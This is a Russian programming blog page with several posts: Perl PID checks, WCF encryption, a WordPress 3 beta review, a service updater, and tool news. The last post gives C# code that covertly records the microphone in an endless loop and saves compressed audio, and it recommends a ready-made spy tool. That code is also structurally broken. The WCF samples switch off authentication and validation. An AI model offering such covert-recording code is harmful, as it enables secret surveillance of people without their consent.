Программирование

Как проверить запущен ли perl скрипт?

Очень актуальный вопрос, особенно когда планируется запуск скрипта для обработки какой-либо продолжительной задачи, по расписанию.

Рекомендую давно проверенную функцию для unix систем.

Функция требует модуля: File::IO; (входит в стандартный дистриб). Вызывать функцию необходимо в самом начале скрипта (сразу после загрузки модулей), так:

use IO::File;
openPidFile('.mypid');
sub openPidFile {
my $file=shift;# имя pid файла
return 0 if $^O eq 'MSWin32';# не создаем на win машинах
if(-e $file) {# файл существует, пытаемся прочитать
my $fh=IO::File->new($file) || return;
my $pid=<$fh>;
# скрипт уже работает, если kill 0 возвращает true
# при этом по kill (0,pid) процессор не убивается, а проверяется
# на наличие в таб.процессов
die "Script already running with PID $pid" if (kill (0,$pid));
# если на предыдущей строке не "умерли", значит выводим сообщени
# что проц. "зомби", и удаляем pid-файл
warn "Removing PID file for defunct script process $pid.\n";
die "Can't unlink PID file $file" unless -w $file && unlink $file;
}

# если досюда дошли, значит либо новый запуск, либо убрали "зомбака".

my $fh=IO::File-&gt;new($file,O_WRONLY|O_CREAT|O_EXCL,0644)
or die "Can't create $file: $!\n";
# вносим в pid файл id текущего процесса
print $fh $$;
}

Я бы еще рекомендовал вставлять в блок END (в конце программы), следующий код:
END {unlink «.mypid» if $pid==$$;};# при этом $pid определять после вызова процедуры openPidFile!

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

WCF и шифрование трафика

Приведу пример кода для шифрования трафика между клиентом и сервером в WCF комуникаций.

Шифрование сертификатами

на клиенте прописываем

                Uri tcpUri = new Uri("net.tcp://" + settings.cServer + ":7777/");
                EndpointAddress address = new EndpointAddress(tcpUri, EndpointIdentity.CreateDnsIdentity("CertName")); //имя сертификата
                NetTcpBinding binding = new NetTcpBinding();

                binding.Security.Mode = SecurityMode.Transport; //шифруем только траспорт
                binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.None; //аутентификация нам пока не нужна
               
                ChannelFactory<IWCFService> factory = new ChannelFactory<IWCFService>(binding, address);
                factory.Credentials.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.PeerTrust; //удалённому серверу мы доверяем, так же можно использовать класс для валидации сертификата (смотри другие члены класса X509CertificateValidationMode)
                service = factory.CreateChannel();

На сервере пишем следующий код

Uri baseAddress = new Uri("net.tcp://localhost:7777/");
         
            try
            {
                NetTcpBinding binding = new NetTcpBinding();
                binding.Security.Mode = SecurityMode.Transport;
                binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.None;
               
                svcHost = new ServiceHost(typeof(WCFService), baseAddress);
                svcHost.Credentials.ServiceCertificate.SetCertificate(StoreLocation.LocalMachine, StoreName.My,
                    X509FindType.FindBySubjectName, "CertName"); //сертификат у нас уже добавлен в хранилище, поэтому делаем его поиск по сабжект нэйм
                svcHost.AddServiceEndpoint(typeof(IWCFService), binding, String.Empty);
                svcHost.Credentials.IssuedTokenAuthentication.CertificateValidationMode = X509CertificateValidationMode.None; //аутентификация не нужна
                svcHost.Open();

Сертификат создаём при помощи утилиты makecert.exe из комплекта вижуал студии.
makecert.exe -sr LocalMachine -ss My -n CN=CertName-sky exchange -sk CertName-key

Шифрование средствами Windows

на клиенте

                Uri tcpUri = new Uri("net.tcp://" + settings.cServer + ":7777/");
                EndpointAddress address = new EndpointAddress(tcpUri);
                NetTcpBinding binding = new NetTcpBinding();


                binding.Security.Mode = SecurityMode.Transport;
                binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows;
                NetworkCredential credential = new NetworkCredential();
                client = new ServiceClient(binding, address);

                credential.Domain = "Domen";
                credential.UserName = "User";
                credential.Password = "Password";
               
                client.ClientCredentials.Windows.ClientCredential = credential;
                clinet.Func("test");

Класс ServiceClient, каждая функция сервиса должна быть прописана в классе по примеру функции Func

  class ServiceClient : ClientBase<IService>, IService
    {
        public ServiceClient(NetTcpBinding binding, EndpointAddress address)
            : base(binding, address)
        {
        }
         public void Func(string param)
        {
            return base.Channel.Func(param);
        }

}

на сервере

             Uri baseAddress = new Uri("net.tcp://localhost:7777/");
              NetTcpBinding binding = new NetTcpBinding();
              binding.Security.Mode = SecurityMode.Transport;
              binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows;
               
              svcHost = new ServiceHost(typeof(Service), baseAddress);
              svcHost.AddServiceEndpoint(typeof(IService), binding, String.Empty);

Нужна будет помощь, пишите )

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

WordPress 3 . Уже можно скачать бета версию, бесплатно.

Wordpress 3 . Уже можно скачать бета версию, бесплатно.

Установка

Установка WordPress 3 почти не изменилась, кроме одного — теперь возможно вводить свои логин и пароль. Хотелось бы увидеть это давно, но разработчики решили добавить эту возможность, только начиная с версии 3.

установка wordpress 3

Вход, регистрация

Вот как выглядит окно входа — почти ничего нового. Как всегда. Но…

вход wordpress 3

…представляю Вам новую фичу — «Дребезжалка» :) Дело в том, что разработчики решили добавить немного анимации. Если пользователь введёт неверный параметр (логин или пароль), кроме ошибки окно ввода немного подёргается в разные стороны (стрелки — это куда будет мотаться окошко).

wordpress 3 вход

Только как дизайнерская приблуда. Но весело. :)

Панель администратора

Вот мы и подобрались к основному окну WordPress – админ панели. Многие писали, что она подвергнется кардинальному изменению, но в моей версии (WordPress 3 Alpha) я ничего не обнаружил такого, что могло бы заставить восхищатся.

админ панель wordpress 3

Вот только то, что я обвел и изменилось. И то — чисто внешне.
Первое: добавили Privacy On/Off. Показывает, включена ли приватность от поисковиков.
Второе: внешнее изменение виджета «Прямо сейчас». Почти незаметно.

Темы

Обновлённая тема оформления пока сырая. Есть небольшие косяки, но скажу, что тема обновляется каждый день, поэтому к выходу WordPress всё будет замечательно.

темы wordpress

Мультиблог

Как все знают, начиная с новой версии, WordPress и WordPress MU теперь единое целое. Рассмотрим немного подробнее данную функцию.
По умолчанию, функция мультиблога (не знаю, как это будет реализовано в релизе) будет отключена. Чтобы включить её нужно будет добавить в конфигурационный файл строчку:

define(‘WP_ALLOW_MULTISITE’, true);

После, в консоли появится пункт «Network»
мультиблогинг wordpress 3

Далее, заходим туда и выполняем два шага установки. Первый — указываем, каким образом создавать новые сайты (на поддомене или субдомене), и второй — настраеваем файл wp-config.php и .htaccess

мультисайтовость wordpress 3
настройки wordpress 3
Если Вы всё сделали без ошибок, то можете смело перейти в главное меню админ консоли или обновить страницу. Поздравляю. Теперь Вы «Супер админ»! :)
суперадмин wordpress 3

Можно будет указать, сколько места Вы выделяете под каждый сайт, что пользователи могут загружать (картинки, видео, музыку) и каким максимальным размером могут быть загружаемые файлы. Так же можно будет настроить отправку писем регистрации (шаблон, текст), указать какие темы оформления будут доступны всем пользователям, а какие только VIP-персонам. В виджете «Прямо сейчас» (из скриншота выше видно), можно следить за занятым дисковым пространством.

Можно говорить много. Но я остановлюсь.

Безопасность

В версии 3.0 позаботились и о безопасности. Теперь можно создавать много сайтов и вероятность взлома увеличивается. Заметил, что в файлы, отвечающие за работу админки, были добавлены строчки кода:

if ( ! current_user_can(‘manage_options’) )
wp_die(__(‘You do not have sufficient permissions to manage options for this blog.’));

Если кто знает больше о новых методах защиты, то пишите в комментариях — будет очень интересно.

Пользовательские записи

Теперь добавлять новости станет куда интереснее. Пользовательские записи позволят создавать много различных типов для статей, например, можно объединить в одной группе «Фильмы», «Актёры», «Жанры» и т.п. Давайте рассмотрим всё это на примере.
Создадим запись «Игры». Для этого в файле functions.php темы добавим строчку:

function post_type_games() {
register_post_type( ‘games’,
array( ‘label’ => __(‘Игры’), ‘public’ => true, ‘show_ui’ => true ) );
register_taxonomy_for_object_type(‘post_tag’, ‘games’);
}
add_action(‘init’, ‘post_type_games’);

В меню админки теперь появится раздел Игры.

wordpress 3

Теперь попробуем добавить в «Игры» категорию «Жанр» и метки «Разработчик». Для этого в том же functions.php поправим код, который я указал выше:

function post_type_games() {
register_post_type(
‘games’,
array(
‘label’ => __(‘Игры’),
‘public’ => true,
‘show_ui’ => true,

)
);

register_taxonomy( ‘genre’, ‘games’, array( ‘hierarchical’ => true, ‘label’ => __(‘Жанр’) ) );

register_taxonomy( ‘developer’, ‘games’,
array(
‘hierarchical’ => false,
‘label’ => __(‘Разработчик’),
‘query_var’ => ‘developer’,
‘rewrite’ => array(‘slug’ => ‘developer’ )
)
);
}
add_action(‘init’, ‘post_type_games’);
Получили:
wordpress 3 category
Теперь при написании, новости будут относиться к Играм, но при этом можно указать категорию «Жанр» и добавить метку «Разработчик». Фантазия не имеет границ — можно создавать и комбинировать различные посты.

wordpress 3 category

Разное

Кроме всего прочего говорили ещё о многих фичах. Например, о Гиде, который будет помогать, и рассказывать о новых возможностях, но в моей версии его пока нет.
Возможность более удобного управления меню на сайте (в связи с этим передвинули сроки выхода WordPress), пока имеет много неработающих элементов. Но в будущем это очень упростит работу с сайтом.

Функция экспорта новостей стала более удобной.

wordpress 3 export

Смена картинки в шапке:

header wordpress 3

Настройка другого сайта

настройки wordpress 3

Для тех, кто хочет опробовать 3.0

Вообще, уже 15 марта должна была выйти публичная бета версия движка, но пока тишина. Если хотите опробовать 3.0 прямо сейчас, то можно с помощью такой программы как TortoiseSVN (или любых подобных) сделать чекаут на http://core.svn.wordpress.org/trunk/ и получать последние обновления.

Заключение

Скажу от себя, что смотря на развитие WordPress, можно отметить, что разработчики делают упор на удобство и простоту использования движка. Это хорошо. Но при этом они совершенно не смотрят в сторону производительности. WordPress 3.0 по-прежнему «кушает» также как и его собратья. Я не опробовал ещё мультиблоговую систему в деле, но когда на сервере будет много сайтов на одном WordPress (и все они будут делать различные запросы), то не думаю, что нагрузка будет маленькой.

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

Делаем обновлялку для Windows Service

Поскольку ClickOnce не умеет разворачивать и обновлять Windows Service приложения, была поставлена задача разработать собственную систему обновлений. Программа висит в трее, проверяет статус сервиса и выкачивает обновления если они есть. Обновление так же можно выкачать в ручную.

tray

Проверка наличия обновления происходит сверкой md5 хэша сборки,останавливает службу, выкачивает если не совпадает и заменяет обновляемые файлы. Обновления же мы зачиваем на веб сервер, в эту же папку кидаем файл index.php, он создаёт xml страницу с именем файла и его хэшэм.

update

Все файлы во вложении далее, будут вопросы, пишите.

скачать исходники

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

Программа исправляющая ошибки в себе самом

Исследователи из MIT разработали ПО, способное динамически устранять ошибки и уязвимости. Устранять способно в абсолютно любом программном коде и не только в себе самом, без наличия исходников, но к сожалению только под Windows.
Подробнее можно прочитать сдесь

Область применений данный технологии очевидна и без гранична. «Deployed Software» это коммерческое программное обеспечение.
Разработчики утверждают, лучше всего работает в кластерных системах, обнаруженные уязвимости на одном из компютеров, автоматически патчатся на всех остальные компьютерах.

Идея в следующем: «Deployed Software» не прерывно отслеживается на подозрительную активность, к примеру,переполнение буфера,подозрительные передачи управления и другие не естественные поведения. Само по себе это не новость,как правило после того как данная активность была обнаружена приложение приостанавливает свою работу, при следующем повторении — блокируется.
На самом деле имеют место две проблемы:

  • 1. Если система high availability — то ни прерывании ни блокировки быть не может.
  • 2. Скорость устранения уязвимостей в коммерческом софте не очень то и велика — буквально через пару месяцев программеры выпускают патч.

ClearView, такое называние получила система, будет устранять баги и уязвимости в реальном времени без перезагрузок и человеческого вмешательства.

Первоночально ClearView собирает информацию о поведении во время стандартного выполнения,называется это «инвариантами выполнения», потом отслеживается активность, при обнаружении подозрительных действий динамически патчит бинарный код пытаясь вернуть «инварианты выполнения». Так же программа умеет сама тестировать разные варианты устранений уязвимостей, накатывать и откатывать патчи. Практически пытается сохранить систему в стабильном состоянии, фильтруя ввод,блокируя и исправляя код.

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

R# 5 доступен для Visual Studio 2010 Beta 2!

Было объявлено о запуске программ раннего доступа к R# 5 которая доступна каждому желающего. К сожалению, открытая программа EAP и сборки ReSharper 5 были исключительно для Visual Studio 2008 (ранее существующий билд для VS 2010 Beta 1 не запускался в Beta 2). Теперь, начиная со сборки 5.0.1526.25, R# 5 приобрёл полноценную поддержку Visual Studio 2010 Beta2.

Любителям ReSharper предоставлен доступ на закачку билда 5.0.1526.25 или более свежего, когда он появится, на странице R# 5.0 Nightly Builds.

Удачной разработки!

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

Делаем жучок из компьютера на c#

Вступление

Если в твой ноут или компьютер в стандартную конфигурацию входит микрофон, то будь на чеку тебя могу подслушивать и ты об этом можешь даже не узнать. Как? Ниже представленый код покажет вам как это можно сделать на c#. Код запросто переделать под любой другой язык программирования.
От теории к практике

Для реализации идеи я использовал библиотеку winmm.dll.

using System;
using System.Threading;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
//для начала сделаем импорт нужной нам функции
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
namespace WindowsFormsApplication1
{
static void Main()
{
while (true)
{
//откроем устройство для записи аудио с микрофона
  mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);

//начнем запись
 mciSendString("record recsound", "", 0, 0);

//остановим цикл на 5 минут, для сбора данных
Thread.CurrentThread.Join(300000);
//сбросим записанные данные в файл
  mciSendString(@"save recsound C:\test.wav", "", 0, 0);
//закроем устройство записи
  mciSendString("close recsound ", "", 0, 0);
//сгенерируем имя архива и сделаем архивацию аудион файла. Почему именно таким образон а не сразу в mp3? К сожалению mci не умеет писать в mp3, по непонятным пока мне причинам.
Random rand = new Random();
FileStream stream = new FileStream(@"C:\test.wav",FileMode.Open);
byte[] bytes = new byte[stream.Length];
stream.Read(bytes, 0, bytes.Length);
stream.Close();
//пакуем в gzip
GZipStream gzip = new GZipStream(File.Open(@"C:\test-" + rand.Next(1000, 5000) + ".gzip", FileMode.Create), CompressionMode.Compress);
gzip.Write(bytes,0,bytes.Length);
gzip.Close();
File.Delete(@"C:\test.wav");
}
}
}

Код прост до безобразия. Почему именно на c# спросите вы?
Потому что он хороший и я его люблю. =)

Готовые решения

В качестве готового решения, если не хочется изобретать велосипед, могу посоветовать mcispy написано сие чудо на делфи, проект находится на стадии тестирования.

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong